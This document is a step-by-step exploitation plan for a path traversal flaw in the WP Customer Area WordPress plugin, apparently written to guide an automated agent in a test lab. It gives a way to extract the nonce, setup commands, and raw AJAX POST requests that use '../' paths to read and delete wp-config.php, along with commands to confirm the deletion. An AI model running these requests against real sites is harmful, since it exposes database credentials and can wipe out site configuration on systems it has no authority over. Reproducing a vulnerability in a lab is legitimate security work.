Research Plan: CVE-2026-3464 - WP Customer Area Path Traversal

1. Vulnerability Summary

The WP Customer Area plugin (versions <= 8.3.4) is vulnerable to an authenticated path traversal vulnerability within the ajax_attach_file function. The vulnerability arises from insufficient validation of the file path parameter when attaching files to "Private File" posts via AJAX. An attacker with minimal permissions (e.g., Subscriber, provided an administrator has granted the cuar_add_private_files or cuar_edit_private_files capability) can read or delete arbitrary files on the server by supplying relative paths (e.g., ../../../../wp-config.php).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: cuar_attach_file (inferred from the function name ajax_attach_file mentioned in the CVE).
• HTTP Method: POST
• Vulnerable Parameter: file (or path / filename). Based on src/php/core-addons/private-file/private-file-default-handlers.class.php, the handler for ftp-folder and server methods processes file paths.
• Authentication: Authenticated. Requires a user with a role possessing cuar_add_private_files or cuar_edit_private_files (e.g., a Subscriber if configured in the plugin settings).
• Preconditions:
  • The "Capabilities" settings must allow the attacker's role to manage private files.
  • A valid nonce for the attachment action is required.

3. Code Flow

1. The user sends a POST request to admin-ajax.php with the action cuar_attach_file.
2. The ajax_attach_file function (likely in the private-file addon) is triggered.
3. The function verifies a nonce (e.g., using check_ajax_referer).
4. The function calls the hook cuar/private-content/files/on-attach-file with the user-supplied method and file parameters.
5. If method=ftp-folder is used, CUAR_PrivateFilesDefaultHandlers::attach_ftp_file (in private-file-default-handlers.class.php) is executed.
6. The handler processes the file string. If it contains ../, it traverses out of the intended directory.
7. Read Vector: If the attachment is "added", the plugin may move/copy the file to the post's private storage folder (wp-content/customer-area/storage/), making it accessible via the plugin's frontend download mechanism.
8. Delete Vector: When removing an attachment, CUAR_PrivateFilesDefaultHandlers::remove_attached_local_file is called, which executes unlink($filepath) on the traversed path.

4. Nonce Acquisition Strategy

The plugin localizes AJAX configurations and nonces for its frontend editor.

1. Identify Shortcode: The "Create Private File" or "Edit Private File" pages are typically generated using the [customer-area-edit-content] or [customer-area-create-content] shortcode.
2. Setup Page: Use WP-CLI to create a page with the frontend creator shortcode:

   wp post create --post_type=page --post_title="Create File" --post_status=publish --post_content='[customer-area-create-content]'
   

3. Navigate and Extract:
   • Log in as the Subscriber.
   • Navigate to the newly created page.
   • The nonce and AJAX config are likely stored in the cuar_private_files_upload_config or cuar_frontend_editor global JS object.
   • JS Retrieval:

     // Example targets
     window.cuar_private_files_upload_config?.nonce
     window.cuar_private_files_upload_config?.attach_file_nonce
     

5. Exploitation Strategy

Step 1: Privilege Escalation (Setup)

By default, Subscribers cannot manage files. We must simulate a configuration where an admin has granted this.

wp cap add 'subscriber' 'cuar_add_private_files'
wp cap add 'subscriber' 'cuar_edit_private_files'

Step 2: Attach Arbitrary File (Read Attempt)

1. Identify a post_id of a Private File post owned by the attacker.
2. Send the following request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=cuar_attach_file&post_id=[POST_ID]&method=ftp-folder&file=../../../../wp-config.php&nonce=[NONCE]

Step 3: Access the File

1. Navigate to the Private File post in the frontend.
2. Locate the download link for the newly "attached" wp-config.php.
3. Download and read the contents.

Step 4: Arbitrary File Deletion (RCE Vector)

If the above works, the same traversal can likely be used in the removal action:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=cuar_remove_file&post_id=[POST_ID]&file=../../../../wp-config.php&nonce=[NONCE]

Note: The action name might be cuar_remove_attached_file or similar based on remove_attached_local_file filter hooks.

6. Test Data Setup

1. Users: Create a user victim_sub with the subscriber role.
2. Permissions: Grant subscriber the capabilities cuar_add_private_files and cuar_edit_private_files via WP-CLI.
3. Content: Create a page with the [customer-area-create-content] shortcode.
4. Target File: Ensure a sensitive file exists (e.g., wp-config.php).

7. Expected Results

• Read: The cuar_attach_file AJAX request returns a success status. A new attachment appears on the Private File post. Downloading this attachment reveals the contents of wp-config.php.
• Delete: The removal AJAX request returns success, and the file wp-config.php is deleted from the WordPress root directory.

8. Verification Steps

1. Check Attachment: Use WP-CLI to verify the metadata of the post:

   wp post meta list [POST_ID]
   

   Look for keys related to attachments (e.g., _cuar_attachments) containing the traversed path.
2. Verify Deletion:

   ls /var/www/html/wp-config.php
   # Should return "No such file or directory" if successful
   

9. Alternative Approaches

• Method server: If method=ftp-folder fails, try method=server. The logic in CUAR_PrivateFilesDefaultHandlers::unique_server_filename also handles paths.
• Frontend Form: Instead of raw AJAX, use browser_click and browser_type to fill out the "Add attachment" form if the plugin uses a specific UI component (like Summernote or a custom uploader) that can be manipulated via JS.